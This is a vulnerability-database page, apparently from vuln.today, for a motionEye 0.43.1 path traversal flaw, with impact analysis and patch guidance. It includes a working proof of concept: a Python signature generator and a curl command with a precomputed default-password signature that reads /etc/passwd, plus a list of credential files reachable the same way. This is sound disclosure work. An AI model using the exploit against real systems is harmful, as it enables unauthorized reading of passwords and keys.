Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Network-exploitable via HTTP requiring only a valid user credential (PR:L); confirmed impact is file read only with no integrity or availability effect.
Primary rating from Vendor (https://github.com/motioneye-project/motioneye).
CVSS VectorVendor: https://github.com/motioneye-project/motioneye
Lifecycle Timeline
2DescriptionCVE.org
Summary
motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions like get_media_preview() check for .. sequences in the filename parameter, except get_media_content() which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.
Details
The get_media_content() function properly validates the path:
# mediafiles.py ~line 506 - SAFE
def get_media_content(camera_config, path, media_type):
target_dir = camera_config['target_dir']
full_path = os.path.join(target_dir, path)
if '..' in path:
# <-- PATH TRAVERSAL CHECK PRESENT
return None
...But get_media_preview() does NOT:
# mediafiles.py ~line 910 - VULNERABLE
def get_media_preview(camera_config, path, media_type, ...):
target_dir = camera_config['target_dir']
full_path = os.path.join(target_dir, path)
# <-- NO '..' CHECK
...Similarly, del_media_content() at line ~865 is also missing the check. This is a classic inconsistent fix pattern.
The exploit requires %2F-encoded slashes (..%2F..%2F) which Tornado's URL router does NOT normalize - it passes the raw ../ through to os.path.join().
PoC
Step 1: Authenticate as any user (normal or admin).
Step 2: Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is SHA1("GET:<path>?_username=<user>::<password>"). With the default empty admin password:
#!/usr/bin/env python3
"""Signature generator for motionEye path traversal PoC"""
import hashlib, re, urllib.parse
_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL)
def compute_signature(method, path, key=''):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([(q[0] + '=' + q[1]) for q in query])
parts[0] = parts[1] = ''
parts[3] = query
path = urllib.parse.urlunsplit(parts)
path = _SIGNATURE_REGEX.sub('-', path)
key = _SIGNATURE_REGEX.sub('-', key)
return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()
path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'
sig = compute_signature('GET', path)
print(f'Signature: {sig}')
print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"')Step 3: Send the request using curl --path-as-is (the --path-as-is flag is required - without it, curl normalizes ..%2F and collapses the traversal before sending):
# With default empty admin password, the signature is static:
curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c"Step 4: The server returns the contents of /etc/passwd.
Verified output:
<img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" />
> Note on the signature value: The signature 8b387100a519c617bdd66fe629d14b05e09c6e0c is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the key parameter.
Impact
An authenticated user (normal or admin) can read arbitrary files from the server, including:
/etc/passwd- user enumeration/etc/motioneye/motion.conf- admin password hash, surveillance password in plaintext/etc/shadow- password hashes (if running as root, which is default in Docker)- SSH keys, environment variables, and other sensitive configuration files
- Surveillance footage from other cameras
AnalysisAI
Path traversal in motionEye v0.43.1 allows any authenticated user - including those with normal (non-admin) privileges - to read arbitrary files from the server filesystem via the picture and movie preview API endpoints. The root cause is inconsistent input validation: get_media_preview() and del_media_content() in mediafiles.py omit the .. sequence check that get_media_content() correctly implements, and the Tornado web framework passes percent-encoded slashes (%2F) through unmodified to os.path.join(). A fully functional public proof-of-concept demonstrating retrieval of /etc/passwd is published in the GitHub security advisory; no public exploit identified at time of analysis for CISA KEV, but the low exploitation complexity and pre-computable default-credential signature make exposed instances an immediate practical target.
Technical ContextAI
motionEye is a Python-based web frontend for the motion surveillance daemon, built on the Tornado async web framework. The affected package is pip/motioneye (CPE: pkg:pip/motioneye), confirmed vulnerable at versions prior to 0.44.0. The vulnerability class is CWE-22 (Path Traversal), arising from an inconsistent fix pattern within mediafiles.py: get_media_content() (~line 506) validates that the caller-supplied path contains no .. sequences before passing it to os.path.join(target_dir, path), while get_media_preview() (~line 910) and del_media_content() (~line 865) perform the same os.path.join() construction without any such guard. Tornado's URL router does not normalize or decode %2F-encoded forward slashes, so a traversal payload of ..%2F..%2F..%2F..%2Fetc%2Fpasswd reaches the vulnerable function intact and is resolved by the OS path join to an arbitrary filesystem location. motionEye uses an HMAC-SHA1 scheme for API request signing; with the default empty admin password, the signature for any given traversal path is static and pre-computable without access to a secret.
RemediationAI
Vendor-released patch: 0.44.0. Upgrade via pip with pip install 'motioneye>=0.44.0'; Docker users should pull the updated container image pinned to 0.44.0 or later. Vendor advisory: https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3. If immediate upgrade is not feasible, restrict network access to the motionEye web interface (default port 8765/8766) using firewall rules or a reverse proxy with IP allowlisting - this eliminates network reachability and is the most effective compensating control, though it also restricts legitimate remote access. As a secondary hardening step independent of the patch, configure the motionEye process (and Docker container) to run as a dedicated non-root user; this does not prevent exploitation but limits the files accessible to the attacker, specifically blocking reads of /etc/shadow and other root-owned files. Additionally, setting a strong non-empty admin password removes the static pre-computable signature advantage, requiring an attacker to know valid credentials rather than relying on the default empty-password signature.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39078
GHSA-g9fx-5r4h-pcw3